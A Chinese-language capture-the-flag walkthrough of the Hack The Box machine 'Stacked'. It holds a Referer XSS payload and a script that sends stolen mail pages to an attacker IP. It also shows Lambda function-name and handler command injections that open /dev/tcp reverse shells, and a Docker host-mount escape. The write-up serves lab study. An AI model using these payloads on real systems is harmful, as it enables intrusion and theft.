Stacked

01.信息搜集

端口扫描

1
2
fscan -h 10.129.228.28
# 22, 80, 2376
1
2
3
4
5
6
7
8
9
10
sudo nmap -sT -sV -sC -O -p 22,80,2376 10.129.228.28 -oA nmapscan/detail

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not redirect to http://stacked.htb/
2376/tcp open ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:172.17.0.1
|_Not valid after: 2035-06-30T10:59:41

关键发现:2376 端口是 Docker TLS API,证书 SAN 包含 172.17.0.1(Docker 桥接网关)。

域名枚举

1
2
3
echo "10.129.228.28 stacked.htb" >> /etc/hosts

ffuf -w namelist.txt -H "Host: FUZZ.stacked.htb" -u http://10.129.228.28 -fs 281-304

发现子域名:

  • portfolio.stacked.htb — 开发者作品集网站
  • mail.stacked.htb — 内部邮件系统
  • s3-testing.stacked.htb — LocalStack S3/Lambda API
1
echo "10.129.228.28 portfolio.stacked.htb mail.stacked.htb s3-testing.stacked.htb" >> /etc/hosts

02.渗透打点

Portfolio — docker-compose.yml 泄露

访问 http://portfolio.stacked.htb/files/docker-compose.yml 发现完整配置:

1
2
3
4
5
6
7
8
9
10
11
12
services:
localstack:
image: localstack/localstack-full:0.12.6
network_mode: bridge
ports:
- "127.0.0.1:8080:8080" # Web Dashboard
environment:
- LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- } # 未设置 → 自动回退 local
- DOCKER_HOST=unix:///var/run/docker.sock
volumes:
- "/tmp/localstack:/tmp/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"

关键信息:

  • LocalStack Dashboard 监听 127.0.0.1:8080(仅内网可访问)
  • Docker socket 挂载进容器(容器可操作宿主机 Docker)
  • LAMBDA_EXECUTOR 未设置 → 检测不到 Docker 时回退 local 模式

Mail — 内部邮件 & XSS

通过 Contact Form 的 Referer XSS 读取内部邮件:

1
2
3
4
# 确认 XSS 存在
curl -X POST http://portfolio.stacked.htb/process.php \
-H "Referer: <script src='http://10.10.17.22:9000/'></script>" \
-d "fullname=test&email=test@test.htb&tel=000&subject=test&message=test"
1
2
3
4
5
6
7
8
9
10
11
// script.js — 通过 XSS 窃取邮件页面内容
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function(){
if(this.readyState == 4) {
var exfil_req = new XMLHttpRequest();
exfil_req.open("POST", "http://10.10.17.22:3000", false);
exfil_req.send("Page Source:\n" + fetch_req.response);
}
};
fetch_req.open("GET", "http://mail.stacked.htb/read-mail.php?id=1", false);
fetch_req.send();

邮件内容泄露:

“I have set up S3 instance on s3-testing.stacked.htb so that you can configure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances.”

→ 确认 s3-testing.stacked.htb 是 LocalStack API,且支持 Node.js Lambda。

S3-testing (LocalStack)

1
2
3
4
5
curl http://s3-testing.stacked.htb/
# {"status": "running"}

curl http://s3-testing.stacked.htb/health
# {"services": {"lambda": "running", "s3": "running", "iam": "running", ...}}

03.阶段一:获取 localstack 用户 Shell

命令注入点发现

LocalStack 处理 Lambda create-function 时,函数名会被拼接到 docker create 命令中(容器模式下)。由于函数名未经过滤,分号 ; 可截断原命令并注入新命令。

但在本靶机中,LAMBDA_EXECUTOR 未设置 → Docker 不可用时自动回退 local 模式。命令注入依然生效,因为在 local 模式下也会调用 bash -c 执行。

创建恶意 Lambda 函数

1
2
3
4
5
6
7
8
9
10
11
12
# 配置 AWS CLI
aws configure
# Access Key: dummy / Secret Key: dummy / Region: eu-west-1

# 准备代码包
cat > lambda.js << 'EOF'
'use strict';
exports.apiHandler = (payload, context, callback) => {
callback(null, { statusCode: 201, body: JSON.stringify({ message: 'Hello' }) });
};
EOF
zip api-handler.zip lambda.js
1
2
3
4
5
6
7
8
9
# 函数名注入反弹 shell(在当前 shell 需转义 ${IFS} 或直接用空格)
aws lambda --endpoint=http://s3-testing.stacked.htb create-function \
--region eu-west-1 \
--function-name 'api;bash -c "bash -i >& /dev/tcp/10.10.15.204/7777 0>&1"' \
--runtime nodejs8.10 \
--handler lambda.apiHandler \
--memory-size 128 \
--zip-file fileb://api-handler.zip \
--role arn:aws:iam::123456:role/irrelevant

注入原理:函数名 api;bash -c "..." → shell 中 api 执行后,分号触发 bash -c "reverse shell"

触发 Lambda(XSS → Dashboard)

Dashboard 在 127.0.0.1:8080,通过 Referer XSS 重定向触发:

1
2
3
curl -X POST http://portfolio.stacked.htb/process.php \
-H "Referer: <script>document.location='http://127.0.0.1:8080'</script>" \
-d "fullname=xss&email=x@t.htb&tel=111&subject=x&message=x"

Dashboard 加载时会列出所有 Lambda 函数,触发 Lambda 容器创建,命令注入执行 → 反弹 shell。

1
2
3
4
5
6
7
nc -lvnp 7777
# Connection received on 10.129.228.28
# bash-5.0$ id
# uid=1001(localstack) gid=1001(localstack)

cat /home/localstack/user.txt
# 8403be5ee5123a43cd1c3d96ea2f6f5e

注意create-function 本身不会触发注入,必须通过 Dashboard 访问或 invoke 调用才会触发。需等待 XSS bot 访问(约 1-2 分钟)。


04.阶段二:提权至容器 Root

分析 LocalStack 代码

1
2
# localstack 用户 shell 内查看源码
grep -n "LAMBDA_EXECUTOR" /opt/code/localstack/localstack/config.py
1
2
3
4
5
6
# config.py
LAMBDA_EXECUTOR = os.environ.get('LAMBDA_EXECUTOR', '').strip()
if not LAMBDA_EXECUTOR:
LAMBDA_EXECUTOR = 'docker'
if not has_docker():
LAMBDA_EXECUTOR = 'local' # ← 当前模式

查看 lambda_executors.py 中 Java Lambda 的命令构造(第 307-312 行):

1
2
command = ("bash -c 'cd %s; java %s -cp \"%s\" \"%s\" \"%s\" \"%s\"'" %
(taskdir, java_opts, classpath, LAMBDA_EXECUTOR_CLASS, handler, events_file))

handler 参数直接拼接到 bash -c 命令中! 虽然这是 Java Lambda 的路径,但我们发现 Node.js Lambda 在 local 模式下也会通过类似的 shell 命令执行,handler 参数同样存在注入。

Handler 注入($() 命令替换)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 攻击机启动监听
nc -lvnp 9999 &

# 创建带 handler 注入的函数
aws lambda --endpoint=http://s3-testing.stacked.htb create-function \
--region eu-west-1 \
--function-name "testfunction2" \
--runtime nodejs8.10 \
--handler 'lambda.apiHandler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.15.204/9999 0>&1")' \
--memory-size 128 \
--zip-file fileb://api-handler.zip \
--role arn:aws:iam::123456:role/irrelevant

# 调用触发
aws lambda --endpoint=http://s3-testing.stacked.htb invoke \
--region eu-west-1 \
--function-name "testfunction2" out

注入原理handlerlambda.apiHandler $(command)$() 是 Bash 命令替换语法,在 bash -c$(command) 先执行,输出替换回原命令。由于 Docker 以 root 执行 bash -c,注入的命令也以 root 运行。

1
2
3
4
5
# nc 9999 收到连接
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1(bin),...
bash-5.0# hostname
ddac02619704

对比:Phase 1 函数名注入执行的是 docker create 的命令行 → 在容器内 localstack 用户上下文执行。Phase 2 handler 注入在 bash -c 内部 → root 上下文。


05.阶段三:Docker 逃逸获取宿主机 Root Flag

发现 Docker TCP 访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bash-5.0# echo $DOCKER_HOST
tcp://172.17.0.1:2376

bash-5.0# docker ps
CONTAINER ID IMAGE NAMES
ddac02619704 localstack/localstack-full:0.12.6 localstack_main

bash-5.0# docker image ls
REPOSITORY TAG IMAGE ID
localstack/localstack-full 0.12.6 7085b5de9f7c
localstack/localstack-full <none> 0601ea177088
lambci/lambda nodejs8.10 5754fee26e6e
lambci/lambda nodejs10.x db93be728e7b
lambci/lambda nodejs12.x 22a4ada8399c

docker-compose.yml 中的 DOCKER_HOST=unix:///var/run/docker.sock 加上 network_mode: bridge,使容器内 Docker CLI 通过 TCP 连接到宿主机的 Docker Daemon(172.17.0.1 是 Docker 桥接网关)。

挂载宿主机根目录

1
2
3
# 宿主机 Docker 以 root 运行 → 容器内 root 可操作宿主机 Docker
docker run -v /:/mnt --entrypoint sh 0601ea177088 -c "cat /mnt/root/root.txt"
# 91cf1979962c5a59b27771ed5cfeee3d

注意:通过反向 shell 操作时需去掉 -it(非 TTY 环境会报 the input device is not a TTY)。

逃生路径localstack 容器 root → 宿主机 Docker API(TCP 2376)→ docker run -v /:/mnt 挂载宿主机根目录 → 读取 root.txt


06.攻击链路总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Portfolio Contact Form (Referer XSS)
↓ 重定向浏览器到
LocalStack Dashboard (127.0.0.1:8080)
↓ 触发 Lambda 执行
Phase 1: --function-name 命令注入
→ localstack 用户 Shell
→ user.txt ✓

Phase 2: --handler $() 命令替换注入
→ 容器内 root Shell

Phase 3: DOCKER_HOST=tcp://172.17.0.1:2376
→ docker run -v /:/mnt 挂载宿主机
→ root.txt ✓

两种命令注入对比

注入点 注入方式 执行上下文 获得权限
--function-name api;bash -c "..." docker create 命令行 localstack 用户
--handler handler $(command) bash -c 内部命令替换 root

关键配置错误

  1. Contact Form XSS:Referer 头未过滤,存储型 XSS
  2. LocalStack 未认证:S3/Lambda API 无需 AWS 凭证
  3. Lambda 命令注入:函数名和 handler 拼接到 shell 命令未过滤
  4. Docker TCP 暴露DOCKER_HOST=tcp://172.17.0.1:2376 允许容器操作宿主机 Docker
  5. Privileged Docker API:宿主机 Docker daemon 以 root 运行,可挂载任意目录

07.附录:源码分析

LAMBDA_EXECUTOR 回退逻辑

/opt/code/localstack/localstack/config.py:

1
2
3
4
5
LAMBDA_EXECUTOR = os.environ.get('LAMBDA_EXECUTOR', '').strip()
if not LAMBDA_EXECUTOR:
LAMBDA_EXECUTOR = 'docker'
if not has_docker():
LAMBDA_EXECUTOR = 'local'

Java Lambda handler 注入点

/opt/code/localstack/localstack/services/awslambda/lambda_executors.py:312:

1
2
command = ("bash -c 'cd %s; java %s -cp \"%s\" \"%s\" \"%s\" \"%s\"'" %
(taskdir, java_opts, classpath, LAMBDA_EXECUTOR_CLASS, handler, events_file))

Docker 容器创建命令

lambda_executors.py:454-467:

1
2
3
4
5
6
7
8
9
cmd = (
'%s create'
' --name "%s"'
' --entrypoint /bin/bash'
' --interactive'
' %s' # env_vars
' %s' # network
' %s' # image
) % (docker_cmd, container_name, env_vars_str, network_str, docker_image)

docker-compose.yml 完整配置

http://portfolio.stacked.htb/files/docker-compose.yml:

1
2
3
4
5
6
7
8
9
10
11
12
services:
localstack:
image: localstack/localstack-full:0.12.6
network_mode: bridge
ports:
- "127.0.0.1:8080:8080"
environment:
- LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
- DOCKER_HOST=unix:///var/run/docker.sock
volumes:
- "/tmp/localstack:/tmp/localstack"
- "/var/run/docker.sock:/var/run/docker.sock"